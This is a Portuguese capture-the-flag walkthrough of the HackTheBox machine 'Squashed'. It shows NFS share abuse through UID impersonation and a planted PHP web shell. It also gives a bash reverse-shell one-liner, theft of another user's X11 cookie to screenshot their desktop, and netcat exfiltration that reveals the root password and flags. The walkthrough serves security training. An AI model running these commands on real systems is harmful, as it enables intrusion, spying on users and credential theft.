Squashed
#easy #HackTheBox #Linux #OSCP
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
attacker> ping -c 1 10.10.11.191
PING 10.10.11.191 (10.10.11.191) 56(84) bytes of data.
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=168 ms
--- 10.10.11.191 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 167.961/167.961/167.961/0.000 msVarredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um Apache 2.4.41 em um Linux Ubuntu, além das portas 22 SSH e 2049 NFS.
attacker> rustscan -a 10.10.11.191 -r 1-65535 --ulimit 5000 -- -sCV -oX nmap.xml
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 41115/tcp mountd
| 100005 1,2,3 42437/tcp6 mountd
| 100005 1,2,3 55490/udp mountd
| 100005 1,2,3 56617/udp6 mountd
| 100021 1,3,4 37017/tcp6 nlockmgr
| 100021 1,3,4 45771/tcp nlockmgr
| 100021 1,3,4 51632/udp6 nlockmgr
| 100021 1,3,4 56545/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl syn-ack ttl 63 3 (RPC #100227)
34569/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
52495/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelComo há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.
attacker> xsltproc -o nmap.html /opt/tools/nmap-bootstrap/nmap-bootstrap.xsl nmap.xmlOS Detection
Após a leitura do TTL do ping e da saída do nmap, sabemos que o alvo é um Linux Ubuntu. Para ampliar nossa enumeração a respeito do sistema operacional, podemos consultar as versões SSH e Apache neste caso para obter mais detalhes sobre qual distribuição está em uso através do site da launchpad.
Neste caso, ambos os serviços fazem referência à distribuição Ubuntu Focal. Esta detecção é útil para ter uma ideia se o alvo utiliza algum container, por exemplo, caso os serviços retornam distribuições diferentes, então é algo útil a ter em mente durante a fase de enumeração.
HTTP (80) Enumeration
Em seguida, procedi a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A saída mostra que na porta 80 há um servidor web Apache/2.4.41. Nada diferente do que obtemos com nmap anteriormente.
attacker> whatweb -v http://10.10.11.191 | tee whatweb.txt
WhatWeb report for http://10.10.11.191
Status : 200 OK
Title : Built Better
IP : 10.10.11.191
Country : RESERVED, ZZ
Summary : Apache[2.4.41], Bootstrap, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], JQuery[3.0.0], Script, X-UA-Compatible[IE=edge]
...
HTTP Headers:
HTTP/1.1 200 OK
Date: Sat, 17 Dec 2022 20:21:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 17 Dec 2022 20:20:01 GMT
ETag: "7f14-5f00bcf98b296-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3375
Connection: close
Content-Type: text/htmlNavegando na porta 80, temos o website de uma loja de móveis.
A princípio não há nada chamativo neste site, sendo preciso que façamos alguma descoberta de conteúdo para obter mais informação, mas por enquanto, como também temos o serviço NFS exposto, vamos enumerá-lo, se necessário, voltamos ao HTTP.
NFS (2049) Enumeration
Listando as montagens presentes no NFS podemos ver que temos a presença de dois diretórios do alvo, /home/ross e /var/www/html.
attacker> showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *Assim, podemos montá-los em nossa máquina atacante para que possamos ver o que está realmente nestes diretórios.
attacker> mkdir /mnt/ross; mkdir /mnt/html
attacker> mount -t nfs 10.10.11.191:/home/ross /mnt/ross
attacker> mount -t nfs 10.10.11.191:/var/www/html /mnt/htmlOlhando a estrutura dos diretórios montados, vemos que em alguns deles não temos permissão de acesso, mas o que chama atenção é a presença do arquivo Passwords.kdbx.
attacker> tree -fas /mnt/nfs
[ 4096] /mnt/nfs
├── [ 9] /mnt/nfs/.bash_history -> /dev/null
├── [ 4096] /mnt/nfs/.cache [error opening dir]
├── [ 4096] /mnt/nfs/.config [error opening dir]
├── [ 4096] /mnt/nfs/Desktop
├── [ 4096] /mnt/nfs/Documents
│ └── [ 1365] /mnt/nfs/Documents/Passwords.kdbx
├── [ 4096] /mnt/nfs/Downloads
├── [ 4096] /mnt/nfs/.gnupg [error opening dir]
├── [ 4096] /mnt/nfs/.local [error opening dir]
├── [ 4096] /mnt/nfs/Music
├── [ 4096] /mnt/nfs/Pictures
├── [ 4096] /mnt/nfs/Public
├── [ 4096] /mnt/nfs/Templates
├── [ 4096] /mnt/nfs/Videos
├── [ 9] /mnt/nfs/.viminfo -> /dev/null
├── [ 57] /mnt/nfs/.Xauthority
├── [ 2475] /mnt/nfs/.xsession-errors
└── [ 2475] /mnt/nfs/.xsession-errors.old
12 directories, 6 filesPasswords.kdbx é provavelmente o nome de um arquivo de banco de dados de senhas criado com o software de gerenciamento de senhas Keepass. Podemos até tentar abri-lo, mas será solicitada uma senha mestra que não temos até o momento.
attacker> keepassxc /mnt/ross/Documents/Passwords.kdbxPartindo para a montagem do servidor web, temos alguns arquivos com o ID 2017 atribuído, aos quais não temos acesso porque nosso usuário na máquina atacante não tem esse ID.
attacker> ls -la /mnt/html
total 52
drwxrwxrwx 5 2017 www-data 4096 Dec 17 16:30 .
drwxr-xr-x 5 root root 4096 Dec 17 16:28 ..
drwxr-xr-x 2 2017 www-data 4096 Dec 17 16:30 css
drwxr-xr-x 2 2017 www-data 4096 Dec 17 16:30 images
-rw-r----- 1 2017 www-data 32532 Dec 17 16:30 index.html
drwxr-xr-x 2 2017 www-data 4096 Dec 17 16:30 jsNFS Imitation
Algumas vezes haverá arquivos/diretórios na montagem aos quais você não terá acesso porque eles têm uma identificação atribuída que existe na máquina alvo, mas não existe na máquina atacante. Para burlar isso, podemos listar o ID do arquivo/diretório e então, na máquina atacante, atribuir esse mesmo ID a um novo usuário, para que possamos acessar e manipular o arquivo/diretório "fingindo" ser um usuário com permissão de acesso baseada no ID que imitamos.
Então vamos criar um usuário (john) em nossa máquina atacante e associá-lo o ID 2017.
attacker> useradd john
attacker> usermod -u 2017 john
attacker> groupmod -g 2017 johnAo migrar para este usuário, podemos ver os arquivos do webserver.
attacker> su john
john> id
uid=2017(john) gid=2017(john) groups=2017(john)Existe um index.html, se nós dermos um grep neste arquivo com o mesmo título do site de móveis presente na porta 80, vemos que ele tem o mesmo título. Assim, podemos imaginar que esta montagem é referente ao website presente na porta 80.
john:/mnt/html> grep -i "BUILT" /mnt/html/index.html
<title>Built Better</title>Como PoC para validar esta hipótese, podemos criar um arquivo test.txt na montagem e ver se ele reflete na porta 80.
john:/mnt/html> echo 'Hello World' > test.txtIndo até o webserver procurando por este arquivo que criamos, vemos que ele aparece, ou seja, existe de fato uma conexão entre a montagem e o servidor web.
Gaining Access
Com o wappalyzer podemos ver que o servidor web interpreta a linguagem PHP, de modo que podemos criar um arquivo PHP malicioso na montagem do servidor web para que possamos executar comandos remotamente no alvo.
john:/mnt/html> batcat -l php brunoshell.php
───────┬────────────────────────────────────────────────────────────────
│ File: brunoshell.php
───────┼────────────────────────────────────────────────────────────────
1 │ <?php
2 │ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
3 │ ?>
───────┴────────────────────────────────────────────────────────────────Uma vez que este arquivo esteja no servidor web, tudo que temos que fazer é acessá-lo no navegador e com o parâmetro ?cmd= podemos executar comandos no alvo.
Portanto, tudo o que temos que fazer é nos colocar em escuta na máquina atacante com netcat e nos enviar uma reverse shell com o comando bash -c "bash -i >%26 /dev/tcp//443 0>%261". Assim, ganhamos acesso ao alvo.
attacker> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.11.191] 53574
bash: cannot set terminal process group (1084): Inappropriate ioctl for device
bash: no job control in this shell
alex@squashed:/var/www/html$ hostname -I; id
hostname -I; id
10.10.11.191 dead:beef::250:56ff:feb9:52e6
uid=2017(alex) gid=2017(alex) groups=2017(alex)Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de
bashatravés do comandoscript, que abre uma sessão interativa mais apropriada, logo após, colocamos em background comCTRL+Z:alex@squashed:/var/www/html$ script /dev/null -c bash script /dev/null -c bash Script started, file is /dev/null alex@squashed:/var/www/html$ ^Z zsh: suspended nc -nlvp 443Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
attacker> stty size 53 209Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
attacker> stty raw -echo; fg [1] + continued nc -nlvp 443 reset xtermDefinindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
alex@squashed:/var/www/html$ echo $SHELL $TERM /bin/bash dumb alex@squashed:/var/www/html$ export SHELL=bash TERM=xterm alex@squashed:/var/www/html$ echo $SHELL $TERM bash xterm
User Flag
Agora que temos um console estabilizado, com o comando lsb_release -a vemos que de fato a distribuição do alvo é um Linux Ubuntu Focal, como indicava o launchpad.
alex@squashed:/var/www/html$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.5 LTS
Release: 20.04
Codename: focalPodemos iniciar nossa etapa de internal discovery do alvo buscando quais usuários possuem alguma shell no sistema checando o arquivo /etc/passwd. Nele vemos a presença de 2 usuários, alex, com quem estamos logados, e ross.
alex@squashed:/var/www/html$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
alex:x:2017:2017::/home/alex:/bin/bash
ross:x:1001:1001::/home/ross:/bin/shNavegando ao diretório /home do usuário alex podemos encontrar a flag user.txt.
alex@squashed:/home$ cat alex/user.txt
f492be823b13cea5032cbe48f181ca59Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
Listando o diretório /home/ross vemos que é a mesma estrutura da montagem que fizemos na máquina do atacante, e que nele contém o arquivo .Xauthority com ID 1001.
alex@squashed:/home$ ls -la ross/
total 68
drwxr-xr-x 14 ross ross 4096 Dec 16 06:33 .
drwxr-xr-x 4 root root 4096 Oct 21 14:57 ..
-rw------- 1 ross ross 57 Dec 16 06:33 .Xauthority
lrwxrwxrwx 1 root root 9 Oct 20 13:24 .bash_history -> /dev/null
drwx------ 11 ross ross 4096 Oct 21 14:57 .cache
drwx------ 12 ross ross 4096 Oct 21 14:57 .config
drwx------ 3 ross ross 4096 Oct 21 14:57 .gnupg
drwx------ 3 ross ross 4096 Oct 21 14:57 .local
lrwxrwxrwx 1 root root 9 Oct 21 13:07 .viminfo -> /dev/null
-rw------- 1 ross ross 2475 Dec 16 06:33 .xsession-errors
-rw------- 1 ross ross 2475 Oct 31 10:13 .xsession-errors.old
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Desktop
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Documents
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Downloads
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Music
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Pictures
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Public
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Templates
drwxr-xr-x 2 ross ross 4096 Oct 21 14:57 Videoswhat is .Xauthority?
Pentesting x11
A visualização do arquivo .Xauthority de outro usuário é crítica porque se este usuário estiver logado na máquina ao mesmo tempo que o atacante, é possível que o atacante veja a tela dele.
Para ver quais telas estão conectadas à máquina alvo, podemos usar o comando w. Vemos que o user ross está logado usando o display :0.
alex@squashed:/home$ w
22:57:01 up 1 day, 16:23, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 Fri06 40:23m 5:26 0.03s /usr/libexec/gnSe buscarmos Pentesting x11 no Hacktricks, podemos ver como tirar uma captura da tela do alvo. Ao executar alguns comandos de enumeração para x11 como xdpyinfo e xwininfo, é retornado um erro de protocolo.
alex@squashed:/home/alex$ xdpyinfo -display :0
No protocol specified
xdpyinfo: unable to open display ":0".
alex@squashed:/home/alex$ xwininfo -root -tree -display :0
No protocol specified
xwininfo: error: unable to open display ":0"NFS Imitation ²
Isto porque ao usuário alex não é atribuído um ID com permissão para ler o arquivo .Xauthority, mas podemos usar a mesma lógica que usamos para imitar o ID dos arquivos no diretório do servidor web em nossa máquina atacante, mas desta vez com a montagem que está refletindo este diretório de ross.
De volta à nossa máquina atacante, podemos criar um novo usuário que tenha o ID 1001, necessário para ter permissões sob o arquivo .Xauthority de ross na máquina alvo.
attacker> ls -la /mnt/ross
total 68
drwxr-xr-x 14 1001 1001 4096 Dec 16 01:33 .
drwxr-xr-x 5 root root 4096 Dec 17 16:28 ..
lrwxrwxrwx 1 root root 9 Oct 20 09:24 .bash_history -> /dev/null
...
-rw------- 1 1001 1001 57 Dec 16 01:33 .Xauthority
-rw------- 1 1001 1001 2475 Dec 16 01:33 .xsession-errors
-rw------- 1 1001 1001 2475 Oct 31 06:13 .xsession-errors.old
Vou criar o user john2 para isso.
attacker> useradd john2
attacker> usermod -u 1001 john2Ao migrar para john2, temos em seu ID de usuário (UID) o valor 1001, imitando o mesmo ID necessário na máquina alvo para visualizar o arquivo .Xauthority.
attacker> su john2
john2> id
uid=1001(john2) gid=2018(john2) groups=2018(john2)Finalmente, podemos a partir da montagem ler o arquivo .Xauthority de ross, de modo que vemos que ele carrega um cookie.
john2:/mnt/ross> cat .Xauthority
squashed.htb0MIT-MAGIC-COOKIE-1�8��|En7m�� �Sjohn2@kali:/mnt/ross$
john2:/mnt/ross> xxd .Xauthority
00000000: 0100 000c 7371 7561 7368 6564 2e68 7462 ....squashed.htb
00000010: 0001 3000 124d 4954 2d4d 4147 4943 2d43 ..0..MIT-MAGIC-C
00000020: 4f4f 4b49 452d 3100 109d 1238 d4d9 7c45 OOKIE-1....8..|E
00000030: 6e04 376d 90cb 09bb 53 n.7m....SNo entanto, no alvo estamos logados como alex, e seu .Xauthority é diferente do .Xauthority de ross. Para que o alex tenha o mesmo .Xauthority que o ross, podemos subir um servidor HTTP da máquina atacante e transferir o .Xauthority do ross para o alex usando o wget.
john2:/mnt/ross> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...alex@squashed:/home/alex$ wget http://10.10.14.75/.Xauthority
...
.Xauthority 100%[===================>] 57 338 B/s in 0.2s
alex@squashed:/home/alex$ ls -la
total 68
drwxr-xr-x 15 alex alex 4096 Dec 17 23:05 .
drwxr-xr-x 4 root root 4096 Oct 21 14:57 ..
-rw-r--r-- 1 alex alex 57 Dec 16 06:33 .Xauthority
...Agora temos que atribuir o diretório /home/alex onde está o arquivo .Xauthority para a variável $HOME que está atualmente vazia.
alex@squashed:/home/alex$ echo $HOME
alex@squashed:/home/alex$ export HOME=/home/alex/
alex@squashed:/home/alex$ echo $HOME
/home/alex/Ao executar alguns comandos de enumeração para x11 como xdpyinfo e xwininfo novamente, desta vez conseguimos obter informações.
alex@squashed:/home/alex$ xdpyinfo -display :0
vendor string: The X.Org Foundation
vendor release number: 12013000
X.Org version: 1.20.13
maximum request size: 16777212 bytes
motion buffer size: 256
bitmap unit, bit order, padding: 32, LSBFirst, 32
image byte order: LSBFirst
number of supported pixmap formats: 7
supported pixmap formats:
depth 1, bits_per_pixel 1, scanline_pad 32
depth 4, bits_per_pixel 8, scanline_pad 32
depth 8, bits_per_pixel 8, scanline_pad 32
depth 15, bits_per_pixel 16, scanline_pad 32
depth 16, bits_per_pixel 16, scanline_pad 32
depth 24, bits_per_pixel 32, scanline_pad 32
depth 32, bits_per_pixel 32, scanline_pad 32
keycode range: minimum 8, maximum 255
focus: window 0x1e00006, revert to PointerRoot
number of extensions: 28
BIG-REQUESTS
Composite
...Com o comando xwininfo obtemos mais detalhes sobre o que está sendo transmitido na tela de ross.
alex@squashed:/home/alex$ xwininfo -root -tree -display :0
xwininfo: Window id: 0x533 (the root window) (has no name)
Root window id: 0x533 (the root window) (has no name)
Parent window id: 0x0 (none)
26 children:
0x80000b "gnome-shell": ("gnome-shell" "Gnome-shell") 1x1+-200+-200 +-200+-200
1 child:
0x80000c (has no name): () 1x1+-1+-1 +-201+-201
0x800022 (has no name): () 802x575+-1+26 +-1+26
1 child:
0x1e00006 "Passwords - KeePassXC": ("keepassxc" "keepassxc") 800x536+1+38 +0+64
1 child:
0x1e000fe "Qt NET_WM User Time Window": () 1x1+-1+-1 +-1+63
0x1e00008 "Qt Client Leader Window": () 1x1+0+0 +0+0
0x2000001 "keepassxc": ("keepassxc" "Keepassxc") 10x10+10+10 +10+10
0x1e00004 "Qt Selection Owner for keepassxc": () 3x3+0+0 +0+0
0x1800002 (has no name): () 10x10+0+0 +0+0
0x800017 (has no name): () 1x1+-1+-1 +-1+-1
0x1c00001 "evolution-alarm-notify": ("evolution-alarm-notify" "Evolution-alarm-notify") 10x10+10+10 +10+10
0x1a00001 "gsd-media-keys": ("gsd-media-keys" "Gsd-media-keys") 10x10+10+10 +10+10
0x1800001 "gsd-xsettings": ("gsd-xsettings" "Gsd-xsettings") 10x10+10+10 +10+10
0x1400001 "gsd-wacom": ("gsd-wacom" "Gsd-wacom") 10x10+10+10 +10+10
0x1600001 "gsd-color": ("gsd-color" "Gsd-color") 10x10+10+10 +10+10
0x1200001 "gsd-power": ("gsd-power" "Gsd-power") 10x10+10+10 +10+10
0x1000001 "gsd-keyboard": ("gsd-keyboard" "Gsd-keyboard") 10x10+10+10 +10+10
0xc00003 "ibus-xim": () 1x1+0+0 +0+0
1 child:
0xc00004 (has no name): () 1x1+-1+-1 +-1+-1
0xc00001 "ibus-x11": ("ibus-x11" "Ibus-x11") 10x10+10+10 +10+10
0xa00001 "ibus-extension-gtk3": ("ibus-extension-gtk3" "Ibus-extension-gtk3") 10x10+10+10 +10+10
0x800011 (has no name): () 1x1+-100+-100 +-100+-100
0x80000f (has no name): () 1x1+-1+-1 +-1+-1
0x800009 (has no name): () 1x1+-100+-100 +-100+-100
0x800008 (has no name): () 1x1+-100+-100 +-100+-100
0x800007 (has no name): () 1x1+-100+-100 +-100+-100
0x800006 "GNOME Shell": () 1x1+-100+-100 +-100+-100
0x800001 "gnome-shell": ("gnome-shell" "Gnome-shell") 10x10+10+10 +10+10
0x600008 (has no name): () 1x1+-100+-100 +-100+-100
0x800010 "mutter guard window": () 800x600+0+0 +0+0Com isto, podemos ver algo relacionado ao keepass, dando a entender que o keepass está aberto. Podemos então tirar uma captura de tela.
alex@squashed:/home/alex$ xwd -root -screen -silent -display :0 > screenshot.xwdUma vez tirada a captura de tela, podemos transferi-la para a máquina do atacante para uma melhor visualização.
alex@squashed:/home/alex$ md5sum screenshot.xwd
b48352a61b6339bd01520b6312dded5c screenshot.xwd
alex@squashed:/home/alex$ nc 10.10.14.75 443 < screenshot.xwdattacker> nc -nlvp 443 > screenshot.xwd
listening on [any] 443 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.11.191] 55304
attacker> file screenshot.xwd
screenshot.xwd: XWD X Window Dump image data, "xwdump", 800x600x24
attacker> md5sum screenshot.xwd
b48352a61b6339bd01520b6312dded5c screenshot.xwdNa máquina atacante, podemos converter a captura de tela para png.
attacker> convert screenshot.xwd screenshot.png
attacker> file screenshot.png
screenshot.png: PNG image data, 800 x 600, 8-bit/color RGB, non-interlacedOlhando para a captura da tela, vemos que realmente se trata do Keepass, o que nos expõe as credenciais de root: cah$mei7rai9A.
Podemos usá-la e ter acesso ao usuário root.
alex@squashed:/home/alex$ su root
Password:
root@squashed:/home/alex# id
uid=0(root) gid=0(root) groups=0(root)Então basta ler a flag root.txt no diretório /root para concluir o objetivo do CTF.
root@squashed:/home/alex# cat /root/root.txt
7883eab0128d56789f1efaa2b13fd4dfCom a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.
Atualizado